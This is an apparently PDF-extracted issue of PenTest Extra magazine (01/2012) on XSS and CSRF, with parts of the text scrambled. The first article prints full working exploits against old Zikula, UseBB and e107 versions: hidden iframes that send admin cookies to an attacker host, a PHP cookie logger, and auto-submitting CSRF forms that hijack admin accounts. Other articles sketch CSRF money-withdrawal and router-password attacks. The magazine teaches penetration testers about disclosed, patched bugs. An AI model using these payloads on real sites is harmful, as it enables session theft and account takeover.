PenTest Extra 01/2012

�

��

��

��

��

��

��

��

��

http://www.id-theftprotect.com/

EDITOR’S NOTEEXTRA 01/2012 (05)

XSS & CSRFThe new year began in earnest, all of us returning to our daily rhythm, which which includes the Pentest Team getting the next issue of PenTest Extra ready for you. The first issue of 2012, is devoted to Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF). These subjects are often bypassed by pentesters, because they usually do not make the evening news. But, are you sure? It may be just the opposite! These topics are very valid and we have prepared some fresh news for you.

In the first article, Marsel Nizamutdinov, author of „Hacker Web Exploitation Uncovered,” talks about post-authentication vulnerabilities in web applications, which are very dangerous and that testers usually do not consider. This is a great article indeed, that will be valuable for everyone.

Tyler Borland, writes about vulnerabilities that allow an attacker to perform authenticated actions, without authenticating as the user. The issue revolves around the general browser architecture and its handling of the web origin policy. More can be found on page 14.

Another article provides knowledge based on personal experience. Eugene Dokukin, focuses on one very valid issue these days – stealing money from users’ accounts. He shows some excellent, real examples, that I am sure your will learn from.

There are two more articles on XSS & CSRF. Sow Ching Shiong, talks about the shell of the future that can be used to hijack sessions where JavaScript can be injected using XSS or through the browser’s own address bar. The article can be read on page 26. But, if you want more general knowledge jump to the page 30, where Jamie describes testing and prevention of CSRF.

We are happy to provide you another article from our great expert Rishi Narang. In „Security Resolutions for 2012,” he covers security resolutions for enterprises, vendors, developers and implementers, and for every common person using the Internet. A very highly recommend article.

Finally, you can learn more about Peter N. M. Hansteen, who is on the cover. Peter is an author of several articles and the book, „The Book of PF”. He is also a lecturer and tutor with emphasis on FreeBSD and OpenBSD. Read more about his interesting interview.

We hope you will find this issue of PenTest Extra interesting and useful. Thank you all for your great support and invaluable help.

Enjoy reading!Krzysztof Marczyk

&Pentest Team

3EXTRA 01/2012(5) http://pentestmag.comPage

Page 4 http://pentestmag.comEXTRA 01/2012(5)

CONTENTSCONTENTS

WEB APPLICATIONSXSS & CSRF Practical exploitation of post-authentication vulnerabilities in web applicationsby Marsel Nizamutdinov

The goal of this article is to demonstrate the real danger of post-authenticated vulnerabilities. We will not explain the basics of web application attacks in this article, as that has already been done many times before by others. We will focus on a practical way to exploit post-authentication XSS’s and CSRF, which remain a highly underestimated attack vector in the security scene.

VULNERABILITIESDiscovering Modern CSRF Patch Failuresby Tyler Borland

Cross-site request forgery (CSRF/XSRF) vulnerabilities allow an attacker to perform authenticated actions without authenticating as the user. The issue revolves around general browser architecture and its handling of the web origin policy. In particular, issues stem from how it handles same origins and authority. Some of the issues can not be fixed in browsers as the real problem is how web applications handle actions. These vulnerabilities are easy to locate and perform attacks against whilst allowing an attacker to completely compromise an account and/or compromise the host.

KNOW-HOWBusiness Logic Vulnerabilities via CSRFby Eugene Dokukin

There are two types of Business Logic flaws: server-side and client-side. First one allows the user of the site to manipulate the site’s functionality to increase his finances, second one allows an external attacker to manipulate the site’s functionality to increase his finances, by decreasing finances of the user of the site. And I have found both types of such vulnerabilities many times since 2005.

EXPLOITINGXSS Using Shell of the futureby Sow Ching Shiong

Shell of the Future is a Reverse Web Shell handler. It can be used to hijack sessions where JavaScript can be injected using XSS or through the browser’s address bar. It makes use of HTML5’s Cross Origin Requests and can bypass anti-session hijacking measures like Http-Only

06

14

22

TEAMEditor: Krzysztof [email protected]

Associate Editor: Aby Rao

Betatesters / Proofreaders: Massimo Buso, Dennis Distler, Alexandre Lacan, Rishi Narang, Davide Quarta, Jonathan Ringler, Johan Snyman, Jeff Weaver, Edward Werzyn

Senior Consultant/Publisher: Paweł Marciniak

CEO: Ewa [email protected]

Art Director: Ireneusz Pogroszewski [email protected]: Ireneusz Pogroszewski

Production Director: Andrzej Kuca [email protected]

Marketing Director: Ewa [email protected]

Publisher: Software Press Sp. z o.o. SK02-682 Warszawa, ul. Bokserska 1Phone: 1 917 338 3631www.pentestmag.com

Whilst every effort has been made to ensure the high quality of the magazine, the editors make no warranty, express or implied, concerning the results of content usage.All trade marks presented in the magazine were used only for informative purposes.

All rights to trade marks presented in the magazine are reserved by the companies which own them.To create graphs and diagrams we used program by

Mathematical formulas created by Design Science MathType™

DISCLAIMER!The techniques described in our articles may only be used in private, local networks. The editors hold no responsibility for misuse of the presented techniques or consequent data loss.

26

5 http://pentestmag.comEXTRA 01/2012(5)

information security is already making news with cloud computing issues, mobile malware, forensics, and plethora of apps. It is evident as a netizen (a portmanteau of the English words internet and citizen), a corporation, and developer that information security couldn’t be sidelined ever. Some strong measures are inevitable and must when it comes to development or its usage as a product and/or service. Previous years have already taught us about the dark sides of different technologies – Social Networking, Mobile Computing, World Wide Web etc. So, this is high time to start working on making net a safer place as well as yourself in this wide open virtual world.

INTERVIEWInterview with Peter N. M. Hansteenby PenTest Team

Peter N. M. Hansteen is a consultant, writer and sysadmin from Bergen, Norway. A longtime freenix advocate and during recent years a frequent lecturer and tutor with emphasis on FreeBSD and OpenBSD, author of several articles and „The Book of PF” (No Starch Press 2007, 2nd edition November 2010). He writes a frequently slashdotted blog at http://bsdly.blogspot.com/.

cookies and IP address-Session ID binding.It has been designed to be used as a proof of concept to demonstrate the impact of XSS vulnerability in a penetration test with the same ease as getting an alert box to pop-up.

GENERAL INFOCross-Site Request Forgeryby Jamie

During a test, I found a create user function which was vulnerable to CSRF. This would allow a targetted attack against the web site by sending the equivalent of phishing emails; except instead of trying to get the user to enter their credentials, they would simply have to click on a link while logged in. The payload would create a privileged account and email the password to the attacker, so could easily happen without the administrator’s knowledge.

PREDICTIONSecurity Resolutions for 2012by Rishi Narang

As we enter into the year of pre media jitters and headlines for the end of world speculations, the virtual world of

CONTENTS

36

40

30

a d v e r t i s e m e n t

https://www.owasp.org/index.php/Main_Page

WEB APPLICATIONS


EXTRA


EXTRA

This situation is probably aggravated by some misinformation websites and some self-proclaimed security experts, which try to deny

disclosed vulnerabilities by posing them as a feature implemented by design. The problem is that they simply do not understand the exploitation’s vectors of these vulnerabilities and they consider them as benign, as long as they impact webpages which do not remain available to unauthenticated users.

In the past year, High-Tech Bridge SA Security Research Lab has been performing vendor awareness on a non-profit bases, explaining that post-authentication vulnerabilities are dangerous and they should be fixed. This case-by-case approach is paying off by vendor’s patch statistics for our Security Advisories:

• Only 32% of post-authenticated vulnerabilities were fixed during the first and second quarter of 2011.

• However, 65% were fixed during the third and fourth quarter of 2011.

The goal of this article is to demonstrate the real danger of post-authenticated vulnerabilities. We will not explain the basics of web application attacks in this article, as that has already been done many times before by others. We will focus on a practical way to exploit post-authentication XSS’s and CSRF, which remain a highly underestimated attack vector in the security scene.

Post-authentication XSSLet’s start with something very simple. One of the most popular post-authentication vulnerabilities is XSS (Cross Site Scripting). This type of vulnerability is a perfect attack against web-site administrators. Actually, despite the limited exploitation’s vector (against website administrators only), our Research Lab assigns a medium risk level (for a standard XSS) to these vulnerabilities for the simple reason that the most efficient exploitation vector of XSS is carried out against website administrators, not against common users.

For our example, we will take an old version of Zikula, which is vulnerable to XSS against website

XSS & CSRF

These days many people do not consider post-authentication vulnerabilities dangerous, such as Stored XSS in the administrator’s portion of a web application.

Practical exploitation of post-authentication vulnerabilities in web applications

Figure 1. Testing the Proof of Concept

https://www.htbridge.ch/advisory/

https://www.htbridge.ch/advisory/

WEB APPLICATIONS


EXTRA


EXTRAadministrator vulnerability (details are described in our Security Advisory HTB23039). Several months ago, the vulnerability was rapidly patched by the vendor, and today we are going to demonstrate the full version of the exploit.

First of all let’s test the Proof of Concept (PoC) code from the advisory to make sure that the vulnerability exists. We log into Zikula as an administrator and test by using the proof of concept, which was publicly disclosed on High-Tech Bridge’s website: Figure 1.

XSS works perfectly; we see the value of our cookie. Now let’s see how this vulnerability may be exploited in practice. Let’s imagine that a malicious hacker has a website located at http://hackhost/. Our vulnerable website with Zikula is located at http://targethost/.

We have the following files:

• The .htaccess file causes Apache to handle JPG files as PHP scripts. This will make the malicious link that we are going to send to the administrator less suspicious.

• 1.jpeg is a normal JPG file with is used as a simple birthday card picture.

• 1.jpg shows the 1.jpeg picture to simulate a simple image behavior. However, an invisible part in the victim’s browser will create an iframe, which will exploit the XSS vulnerability inside the admin panel.

• c.php script simply writes received administrator’s cookie to the log.txt file.

Next we have to have the logged-in administrator to visit our hackhost website to steal his cookies. Here, we will not write a complex scenario, as there are already plenty of social engineering attack examples on Internet. Indeed, we will use a very basic one, as if a website user (malicious hacker in reality) wants to wish a happy birthday to the administrator.

The administrator receives a Birthday Card, which is located at: http://hackhost/1.jpg, the JPG extension will not seem suspicious to the majority of users. On the image below we see what the administrator will see after opening the link in his browser: Figure 2.

Listing 1. Content of web root of hackhost

root@hackserver:/var/www/hackhost# ls -la

drwxrwxrwx 2 root root 4096 2012-01-01 00:00 .

drwxrwxrwx 17 root root 4096 2012-01-01 00:00 ..

-rw-rw-rw- 1 root root 277694 2012-01-01 00:00 1.jpeg

-rw-rw-rw- 1 root root 288 2012-01-01 00:00 1.jpg

-rw-rw-rw- 1 root root 78 2012-01-01 00:00 c.php

-rw-rw-rw- 1 root root 37 2012-01-01 00:00 .htaccess

root@hackserver:/var/www/hackhost# cat .htaccess

AddType application/x-httpd-php .jpg

root@hackserver:/var/www/hackhost# cat 1.jpg

<html>

<body>

<img src="1.jpeg">

<iframe width="1" height="1" style="display:none"

src="http://targethost/index.php?module=theme&type=admin&func=setasdefault&themename=<script>document.location

.href='http://hackhost/c.php?c='%2Bescape(document.cookie)</script>">

</body>

</html>

root@hackserver:/var/www/hackhost# cat c.php

<?

$f=fopen("log.txt", "a");

fwrite($f, $_GET["c"]."\r\n");

fclose($f);

?>

https://www.htbridge.ch/advisory/xss_in_zikula.html

http://hackhost/

http://targethost/

http://hackhost/1.jpg

WEB APPLICATIONS


EXTRA

http://pentestmag.comEXTRA 01/2012(5)

As soon as the logged administrator sees this image, his admin account is compromised. Let’s come back to our hackhost and have a look on what we just received:

root@hackserver:/var/www/hackhost# cat log.txt

_zsid2=655085aceec73b6e3aacb230a344bc88f169c20d;

Perfect, we now have administrator’s cookie. Let’s go back to the vulnerable http://targethost/: Figure 3.

We have not logged into the system, so we do not have any rights. Now, let’s modify our admin cookie, using the FireCookie plug-in for Firebug in Firefox and use the intercepted Session ID of the administrator: Figure 4.

Refresh the page with the new cookie enabled, and go to the administration portion of the web site: Figure 5.

We are now logged-in as the Zikula administrator with full rights. This is a very simple example, but it is a very common exploitation attempt for post-authentication XSS vulnerabilities, which are quite often wrongly considered as benign by unaware people.

Client side attack through CSRFAnother example of post-authenticated vulnerability is CSRF or XSRF, (Cross Site Request Forgery). Let’s take the example of the CSRF vulnerability, which was discovered in a previous version of UseBB (vulnerability

details are described in our HTB22913 Security Advisory), which was also patched by the vendor several months ago.

Our target will again be located at http://targethost/ with the vulnerable version 1.0.11 of UseBB. To exploit this vulnerability, we will need a slightly modified version of our http://hackhost/ used in the previous XSS case.

We can see a new file named form.hml designed to perform CSRF exploitation. Again, we have to make a logged UseBB administrator visit our malicious image located at http://hackhost/1.jpg. Here is what the exploited UseBB administrator will see when the link is opened: Figure 6.

As previously mentioned, there is nothing here which really looks suspicious – this is simply a birthday card, which is coming from a forum member. However, as soon as the administrator opens the link, his Profile’s

Figure 3. Lack of access

Figure 2. Image displayed in browser

Figure 4. Modifying admin cookie

Figure 5. Gain Access

http://targethost/

https://www.htbridge.ch/advisory/multiple_csrf_cross_site_request_forgery_in_usebb.html

http://targethost/

http://hackhost/


WEB APPLICATIONS


EXTRA


Listing 2. Files and their content in hackhost’s web root






-rw-rw-rw- 1 root root 1109 2012-01-01 00:00 form.html





<html>

<body>

<img src=1.jpeg>

<iframe width="1" height="1" style="display:none" src="form.html">

</body>

</html>

<html>

<body>

<form action="http://targethost/panel.php?act=editprofile" method="post" name="main" id="main">

<input type="hidden" name="displayed_name" value="admin">

<input type="hidden" name="real_name" value="">

<input type="hidden" name="avatar_remote" value="">

<input type="hidden" name="birthday_month" value="">

<input type="hidden" name="birthday_day" value="">

<input type="hidden" name="birthday_year" value="">

<input type="hidden" name="location" value="">

<input type="hidden" name="website" value="">

<input type="hidden" name="occupation" value="">

<input type="hidden" name="interests" value="">

<input type="hidden" name="signature" value="">

<input type="hidden" name="email" value="[email protected]">

<input type="hidden" name="msnm" value="">

<input type="hidden" name="yahoom" value="">

<input type="hidden" name="aim" value="">

<input type="hidden" name="icq" value="">

<input type="hidden" name="jabber" value="">

<input type="hidden" name="skype" value="">

<input type="submit" value="OK">

</form>

<script>

document.main.submit();

</script>

</body>

</html>

WEB APPLICATIONS


EXTRA


EXTRA

email will be changed to [email protected] by our form.html CSRF code, as if it was the real administrator who legitimately changed his email address by using the designed function of UseBB: Figure 7.

Now we simply need to use UseBB password recovery feature to get a new administrator password on [email protected] email: Figure 8.

After receiving the administrator’s password by email, we can log as UseBB administrator: Figure 9.

This is a very simple example of CSRF, but it is a quite efficient proof of concept and the reason why this vulnerability was reported to the vendor, who in turn agreed that it was a serious issue by providing a new release to his customers.

When CSRF combines with XSSNow, let’s have a look at a more complex exploit using a hybrid approach, which relies on both XSS and CSRF. In this example, we will use the CSRF and stored XSS vulnerabilities in the admin panel of e107. Details are described in our Security Advisory HTB23004, and these vulnerabilities have also been fixed by the vendor.

One of the scripts (users_extended.php) in the e107 administrator panel, is vulnerable to stored XSS, (Persistent XSS), as well as to CSRF attacks. In this case, a simple XSS in the script, without the CSRF would be pretty useless from an attacker’s point of view. In a same way, the script would not represent a big value for hackers if it was only vulnerable to CSRF, because the vulnerable code does not perform any critical or sensitive actions, such as the password change that we used in our previous CSRF example. However in this case, we have a perfect

combination of XSS and CSRF together, as in many others High-Tech Bridge’s advisories. Usually, vendors do not implement CSRF protection in their administration scripts, because they may consider it useless. Sometimes, it may be true and sometimes not. If developers miss an XSS somewhere, then they are faced with a cocktail, which may open a door to full system compromise.

In the present case, the vulnerable script allows the website administrator to create a custom field for user profiles. One of the script parameters named user_include is vulnerable to Stored XSS. The complexity is that the vulnerable field is edited and displayed on two different pages. This inaccurately makes some people believe that such a vulnerability is not dangerous at all. So let’s start exploiting it.

We will again consider that the vulnerable version of e107 is located at http://targethost/ and that the hacker’s server is located at http://hackhost/, content of which will be similar to our previous examples with classic post-authenticated XSS and CSRF.

In this case 1.jpg is a little bit more complex and performs 3 different actions:

• It shows a legitimate Happy Birthday image (1.jpeg)• An invisible iframe is included in form.html, which

exploits the CSRF vulnerability and adds new field with malicious Javascript code inside that steals the user’s cookie (this is possible because our script is vulnerable to XSS).

• Two seconds after loading form.html, 1.jpg will request the users_extended.php, script with stored XSS attack code (inserted in step 2).

Figure 6. Suspicious Happy Birthday

Figure 7. Getting new password

Figure 8. Receiving the administrator’s password

Figure 9. Logging as UseBB administrator

https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_e107_1.html

http://targethost/

http://hackhost/

WEB APPLICATIONS


EXTRA


EXTRAListing 3. A content of hackerhost web root


итого 80





-rw-rw-rw- 1 root root 78 2012-01-01 00:00 c.php

-rw-rw-rw- 1 root root 846 2012-01-01 00:00 form.html





<html>

<body>

<img src=1.jpeg>

<iframe width="1" height="1" style="display:none" id=f1 src='form.html'></iframe>

<script>

setTimeout("document.getElementById('f1').src='http://targethost/e107_admin/users_extended.php'",2000);

</script>

</body>

</html>

root@hackserver:/var/www/hackhost# cat form.html

<form method="POST" action="http://targethost/e107_admin/users_extended.php?editext" name=m>

<input type="hidden" name="user_field" value="abcde1f1">

<input type="hidden" name="user_text" value="12121">

<input type="hidden" name="user_type" value="1">

<input type="hidden" name="user_include" value=""><script>document.location.href='http://hackhost/c.php?c='+esca

pe(document.cookie);</script>">

<input type="hidden" name="add_field" value="1">

<input type="hidden" name="user_parent" value="0">

<input type="hidden" name="user_required" value="0">

<input type="hidden" name="user_applicable" value="255">

<input type="hidden" name="user_read" value="0">

<input type="hidden" name="user_write" value="253">

<input type="hidden" name="user_hide" value="0">

<input type=submit>

</form>

<script>

document.m.submit();

</script>

root@hackserver:/var/www/hackhost# cat c.php

<?

$f=fopen("log.txt", "a");

fwrite($f, $_GET["c"]."\r\n");

fclose($f);

?>

WEB APPLICATIONS


EXTRA

Here is our malicious link that a log e107 administrator whould open: http://hackhost/1.jpg.

As before, the administrator will not see any suspicious activities, except the Birthday Card: Figure 10.

However, both XSS and CSRF vulnerabilities were successfully exploited. As we have already seen in the XSS example, e107 administrator’s cookie will be passed to c.php, which will store it in the log.txt file: Listing 4.

Also, we can now simply edit the cookie and refresh the page and you have exploited the administrator’s page! We are now logged as the e107 admin.

We now have access to all of the administrative functions and unlimited control of the e107.

Conclusion The three client-side attacks described in this article show that post-authenticated vulnerabilities are also dangerous, despite the fact they do not impact webpages available to non-authenticated users. They are far from

being implemented by application design and may become an entry point on your system. Moreover, XSS and CSRF, despite highly underestimated on certain security websites and during most penetration tests, do remain a target of choice in the real world.

We hope that this article will improve vendor and user awareness regarding the real dangers of post-authentication vulnerabilities though client-side attack vectors.

We would also like to highlight the efforts of Secunia, who educates a lot to vendor’s and user’s awareness about post-authentication vulnerabilities.

Figure 10. Dangerous Birthday Card

Figure 11. Exploiting the administrator’s page

Figure 12. Unlimited access

MARSEL NIZAMUTDINOVMarsel Nizamutdinov, Head of Research & Development Department at High-Tech Bridge SA, web application security expert, author of „Hacker Web Exploitation Uncovered” (2005).

Listing 4. XSS example

root@hackserver:/var/www/hackhost# cat log.txt

PHPSESSID=a688a485f2ddb7a5ce40610e58d686ce;

e107_tdOffset=-8; e107_tdSetTime=1325883584;

e107_tzOffset=-240; e107cookie=1.f1f19cd495328ce023b

ed1c0d5108d2a;


https://www.htbridge.ch/

VULNERABILITIES


EXTRA


EXTRA

In particular, issues stem from how it handles same origins and authority. Some of the issues can not be fixed in browsers as the real problem is how

web applications handle actions. These vulnerabilities are easy to locate and perform attacks against whilst allowing an attacker to completely compromise an account and/or compromise the host.

The problem is seen when the browser has stored authentication data for the victimsite.com domain/origin. Data such as credential cookies, session cookies, basic/digest authorization depending on attack vector[8], and possibly other stored authentication data the browser manages. This data is used when another domain makes a request for external resources like images, videos, scripts, etc. Here’s how html would be used to grab an image from victimsite.com and load it in attacksite.com’s origin:

<img src=”http://victimsite.com/img.jpg” />

When the user’s browser visits attacksite.com and sees this image tag then it will grab this resource by making the appropriate request for the client. Assume the user is logged in with an authenticated=yes cookie. A stripped down request for this image is:

GET /img.jpg HTTP/1.1

Cookie: authenticated=yes

Host: victimsite.com

The authenticated cookie for victimsite is added by the browser when making the request for victimsite.com/img.jpg. This allows us to perform authenticated actions without ever having to authenticate ourselves. Read further for theoretical and real-world exploits on how this behavior can be abused. The focus of this article will be around the php language, but csrf issues exist throughout other languages.

+Remote VectorThe easiest way to exploit this issue is with cross-origin communication as seen with the previous section’s attacksite.com and victimsite.com image scenario. Please re-read that section if you do not understand how a remote vector (different origin) would work.

+Local VectorWhile the name does say cross-site, the vulnerability can be exploited in the context of the same origin and never require access to resources from another origin. This is possible by chaining other exploits like cross-site scripting (XSS), which will be covered more later, or simply abusing any form of valid injection points. Think about forums or blogs where you have the ability to upload avatars from a supplied url or use bbcode (bulleting board code, a markup language for forums) [11] to display images or movies in comments.

Discovering Modern CSRF Patch FailuresCross-site request forgery (CSRF/XSRF) vulnerabilities allow an attacker to perform authenticated actions without authenticating as the user. The issue revolves around general browser architecture and its handling of the web origin policy[1].

KNOW-HOW


EXTRA


EXTRA

Among vulnerabilities found in web applications there are logical vulnerabilities such as Business Logic flaws. Which allows an attacker

to manipulate financial data in web applications, such as the ones used for online-banking, EPS and other e-commerce sites.

There are two types of Business Logic flaws: server-side and client-side. First one allows the user of the site to manipulate the site’s functionality to increase his finances, second one allows an external attacker to manipulate the site’s functionality to increase his finances, by decreasing finances of the user of the site. And I have found both types of such vulnerabilities many times since 2005.

Taking into account that Business Logic flaws logical vulnerabilities, then they belong to class the Abuse of Functionality (WASC-42) [1]. It is the server-side type. The attack occurs at special using of functionality of the site, which was not expected by its developers.

But besides server-side Business Logic vulnerabilities, there are also client-side ones. Which belong to the class Cross-Site Request Forgery (WASC-09) [2]. The essence of such attack comes from conducting a CSRF-attack on the user with the purpose of manipulation of his finances (and functionality of the site being used exactly as it was intended by its developers). And the second type of these vulnerabilities is more widespread then the first one.

Example of Business Logic CSRFExample of such vulnerability, which I happened to meet many times at different e-commerce sites, it’s manipulation with withdrawing of money to electronic wallets. (i.e. abusing occurs of the functionality for withdrawing of money from a user’s account).

With the existence of CSRF vulnerabilities at the site, the scenario of the attack will be the next:

• Conduct CSRF-attack on the user, to change his wallet (e.g. WebMoney, PayPal, etc.) to attacker’s wallet.

• Conduct second CSRF-attack on the user to initiate withdrawing of money (to wallet specified in the account).

Usually two steps of the attack (two requests) are required, because process of changing the wallet and withdrawal of money is divided into separate functionalities. But if at a vulnerable site these two operations are joined into one functionality, then it’s possible to send one request – for withdrawal of money to a specified wallet. In two steps scenario the attack will be the next:

• Send request to change the wallet: http://e-commerce/user?wallet=attackerwallet

• Send request to withdraw money: http://e-commerce/user_money?withdraw=1

Business Logic Vulne-rabilities via CSRFCross-Site Request Forgery (CSRF) vulnerabilities can be used for different nasty things, but the most dangerous one is stealing of money from users’ accounts. Which I’ll tell you about in this article.

http://e-commerce/user?wallet=attackerwallet

http://e-commerce/user?wallet=attackerwallet

http://e-commerce/user_money?withdraw=1

http://e-commerce/user_money?withdraw=1

KNOW-HOW


EXTRA


To get money from a user’s account the attacker needs to withdraw the exact sum which exists on the account. If he knows for sure that this user has the necessary sum, then he can withdraw it, but when he doesn’t know the exact sum on the account, then he can make sequence of requests with different sums (from large to smaller ones) to try to find the right sum for withdrawing from that account. Which can be done via multi-request CSRF-attack and such exploit can be easily made with my tool. When using XSS it’ll be possible to find what current sum is on the account before withdrawing, and when using CSRF the attack is doing blindly, but with multi-request approach it can be done.

ConclusionCross-Site Request Forgery vulnerabilities can be used for different attacks. From small things like remote log-out of the user, to dangerous things like stealing of user’s money. So they must be not misunderstood and all web developers and administrators of web sites, especially e-commerce ones, should always fix CSRF vulnerabilities (as any other vulnerabilities).

Reference• Abuse of Functionality (http://projects.webappsec.org/

Abuse-of-Functionality) [1] .• Cross-Site Request Forgery (http://projects.webappsec.org/

Cross-Site-Request-Forgery) [2].• CSRF Generator (http://websecurity.com.ua/csrf_gene

rator/) [3] .• Business Logic vulnerabilities at www.prospero.ru and

procontext.ru (http://websecurity.com.ua/4770/) [4].

EUGENE DOKUKIN AKA MUSTLIVEEugene Dokukin has over 17 years experience in IT and programming. He is also specialist in web developing and web security. His prime areas of work are programming, web developing and web security. Now he is working as private auditor of websites and web applications. Email: [email protected].

http://projects.webappsec.org/Abuse-of-Functionality

http://projects.webappsec.org/Abuse-of-Functionality

http://projects.webappsec.org/Cross-Site-Request-Forgery

http://projects.webappsec.org/Cross-Site-Request-Forgery

http://websecurity.com.ua/csrf_generator/

http://websecurity.com.ua/csrf_generator/

http://www.prospero.ru

http://procontext.ru

http://websecurity.com.ua/4770/

http://appsec-labs.com/

EXPLOITING


EXTRA


EXTRA

In a penetration test, the XSS issues are typically demonstrated with a script function that is short, simple, and visual: the alert box. Many XSS

examples use alert(1) or alert (/XSS/) as a payload but this fails to show the power of XSS vulnerability, and may lead to a so what? reaction from developers not familiar with such a vulnerability. In this article, the

author will show you how to exploit XSS vulnerability (e.g. session hijacking) using Shell of the future.

Shell of the Future – XSS Exploitation ToolShell of the Future is a Reverse Web Shell handler. It can be used to hijack sessions where JavaScript can be injected using XSS or through the browser’s address

XSS Using Shell of the FutureCross-site scripting (XSS) vulnerabilities in an application potentially allow an attacker to execute malicious script on other users’ systems and hence compromise their sessions, authentication credentials, or even conduct other malicious activity. This can occur if HTML or script can be written to an application data store and be retrieved by other users, or if an attacker can coerce a victim into clicking on a malicious link.

Figure 1. Architecture of Shell of the future (Source: http://www.andlabs.org/tools/sotf/sotf.html)

http://www.andlabs.org/tools/sotf/sotf.html

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

��

�

��

�

��

��

�

��

http://www.scadacybersecuritysummit.com/

GENERAL INFO


EXTRA


EXTRA

It is sometimes abbreviated as CSRF or XSRF, depending on who is writing about it. This vulnerability exists because the browser will

automatically transmit the authentication or session cookie to the application with each request to that site. In other words, the application does not always check whether a request came from a user click, or if it merely got invoked because of an img src=”” tag embedded in another page.

Why is it an issue?Firstly, many people have many different web sites open at any one time; for example Facebook and Gmail – if these didn’t implement proper protections then an attacker could cause email or comments to be posted as a particular user.

The worst-case scenario is a naive implementation of a banking website which would transfer funds when the user is logged in by the use of a script with several GET parameters.

http://www.example.com/transfer_funds.php?to_account=

12345678&to_sort=123456&amount=1000

Now as an attacker, all I have to do is insert

<img src=”http://www.example.com/transfer_funds.php?to_ac

count=12345678&to_sort=123456&amount=1000” width=1 height=1>

into a popular webpage and then the donations should start coming my way soon. If anyone who is logged into that bank and views my web page, their browser will make a request to the bank that is indistinguishable by the bank from the user making that same request themselves. In this case, the vulnerability can be mitigated by checking for Referer headers, however this check can be circumvented if there are Cross-Site Scripting problems present in the same site.

As a more concrete example, CSRF was used to great effect by PDP Architect/Gnu Citizen in a series of attacks against particular makes of home router [2]. Below is the example they give for changing the password.

POST /cgi/b/ras/?ce=1&be=0&l0=-1&l1=-1 HTTP/1.1

0=31&1=&30=PASSW0RD

Since we know the IP address defaults to 192.168.0.1, we can construct some javascript to issue such a POST request when this web page is viewed (Listing 1).

(This isn’t great JavaScript, I know; but it is functional and will serve for a proof of concept.) This page can be hosted on a local apache server and visited in a web browser. It should cause a POST request of the above form to the given URL.

Cross-Site Request ForgeryOWASP currently define Cross-Site Request Forgery as “an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated.”[1]. In practical terms, if a user is logged into a web application, and views another web page, the second page can cause the user’s browser to initiate actions on the web application without the user being aware of what is happening.

HackingFinancials.

of

TheftData.of

Sense of SecurityCompliance, Protection

and

[email protected]

At Sense of Security, Information Security and Risk Management is our only business. Our consultants

are experts in their fields; our specialists are always ahead of the curve.

By engaging Sense of Security, our clients ensure they are protected, their information is safe from

threats from both within and outside the organisation, they meet their regulatory requirements and

their employees, partners and suppliers can conduct business in complete confidence.

http://www.senseofsecurity.com.au/

PREDICTION


EXTRA


EXTRA

As we enter into the year of pre media jitters and headlines for the end of world speculations, the virtual world of information security is already

making news with cloud computing issues, mobile malware, forensics, and plethora of apps. It is evident as a netizen (a portmanteau of the English words internet and citizen), a corporation, and developer that information security couldn’t be sidelined ever. Some strong measures are inevitable and must when it comes to development or its usage as a product and/or service. Previous years have already taught us about the dark sides of different technologies – Social Networking, Mobile Computing, World Wide Web etc. So, this is high time to start working on making net a safer place as well as yourself in this wide open virtual world.

Social Networking ResolutionsI already covered some safe than sorry measures in my previous article on Social Networking – Are you safe? last month, but with tones of services and applications – Facebook, Twitter, Google Plus etc. all around you, it is very important to have some resolutions for this year 2012 apropos secure browsing.

Limit your exposureIt is very important to understand what you are posting online, or on social networking websites as the information can reveal you beyond you know. Posting

pictures can breach your privacy concerns, and even worse can harm someone else standing in your picture. When you don’t spend your personal moments with doors and windows open, there is also no need to post pictures of the same, or tag yourself into.

Be Aware of Location Detection ServicesMost of the pictures you click, or places you visit are being monitored with location detection services in your handheld devices. From mobile phones to camera, photos contain metadata that can reveal your location and/or GPS coordinates. If it doesn’t make any sense, disable the location grabbing services either globally (Figure 1) or app specific (Figure 2).

Be cautious of Check-in/Check-out messageMost of the social networking websites have the functionality of monitor check-ins to popular places, restaurants, movie halls, clubs etc. But, once you check-in online to reflect that you are currently at this place, you unknowingly are broadcasting that my home is free, my car is parked here or you are cheating on someone. Revealing that you will be away from home, especially if your address is posted on your profile, increases the risk that your home will be burglarized, according to the United States Computer Emergency Readiness Team (US-CERT), part of the Department of Homeland Security.

The year 2012 has only been in media for Mayans & prophecies but the world is not going to end so let’s understand the need of the hour, and pledge our resolutions towards information security. This article will cover security resolutions for enterprises, vendors, developers and implementers and for every common man.

Security Resolutions for 2012

INTERVIEW


EXTRA


EXTRA

How did you get your start in the information security field?Peter N.M. Hansteen: I’ll risk sounding a little blunt here, and say that it was really a matter of a series of accidents that lead to, well, a known result. Early on I had what you might call a rather meandering carreer path before I finally started pointing myself in a generally IT-ish direction. Fortunately while I was taking night classes in IT subjects and working a day job in a very junior clerical position at the Norwegian School of Economics here in Bergen, I got an early introduction to the Internet as it was then in the mid to late 1980s. I remember distinctly that a fair number of the machines we encountered at the other side of telnet, archie, ftp and other services ran something slightly exotic called BSD Unix.

A few job changes later and I found myself in a position where I was the person in charge of information security

and everything IT-ish for myself and about a dozen colleagues. As the inevitable Internet commercialization came around I had a slight edge after some early exposure and hanging around BBSes in the meantime. But then again we had some wonderful security failures too, as far as I can tell not too dangerous and never really breaking anything important, but well, the stories are out there in some form if you poke around USENET archives. Enterprising readers will know where to look.

What drove you to pursue information security?PNMH: Information security, again, is part of the bigger picture. You want to provide a convenient working environment as well as making sure you keep your colleagues safe from harm, all the while doing your best to implement a regime that protects whatever the organization’s assets are. For my own part it all grew

Interview with

Peter N. M. Hansteen

Peter N. M. Hansteen is a consultant, writer and sysadmin from Bergen, Norway. A longtime freenix advocate and during recent years a frequent lecturer and tutor with emphasis on FreeBSD and OpenBSD, author of several articles and The Book of PF (No Starch Press 2007, 2nd edition November 2010). He writes a frequently slashdotted blog at http://bsdly.blogspot.com/.

http://nostarch.com/pf2.htm

http://bsdly.blogspot.com/

http://bsdly.blogspot.com/

In the next issue of

If you would like to contact PenTest team, just send an email to [email protected] or [email protected]. We will reply a.s.a.p..

Social Engineering

Available to download on February 15th

Soon in Pentest!• Practical Applications• How to Protect Insiders from Social Engineering Threats • Automating Social Engineering• Exploiting Human Vulnerabilities

and more...

EXTRA

http://en.citadel.co.il/

Date post:	26-Mar-2016
Category:	Documents
Upload:	pentestmag
View:	235 times
Download:	0 times

PenTest Extra 01/2012

